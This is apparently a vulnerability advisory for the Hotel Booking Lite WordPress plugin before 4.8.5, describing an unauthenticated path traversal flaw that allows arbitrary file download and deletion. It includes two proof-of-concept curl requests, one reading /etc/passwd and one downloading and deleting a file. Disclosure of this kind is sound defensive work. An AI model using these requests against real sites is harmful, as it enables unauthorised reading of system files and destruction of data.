Hotel Booking Lite < 4.8.5 - Unauthenticated Arbitrary File Download & Deletion

2023-12-0100:00:00

Krzysztof Zając (CERT PL)

hotel booking

unauthenticated

arbitrary file download

AI Score

7.1

Confidence

High

EPSS

0.177

Percentile

96.2%

JSON

Description The plugin does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server

To download /etc/passwd: curl 'https://example.com/?filename=../../../../../../etc/passwd&mphb_action=download'

To download and delete the /wp-content/uploads/delete-me.php file: curl 'https://example.com/?filename=../delete-me.php&mphb_action=download&remove=1'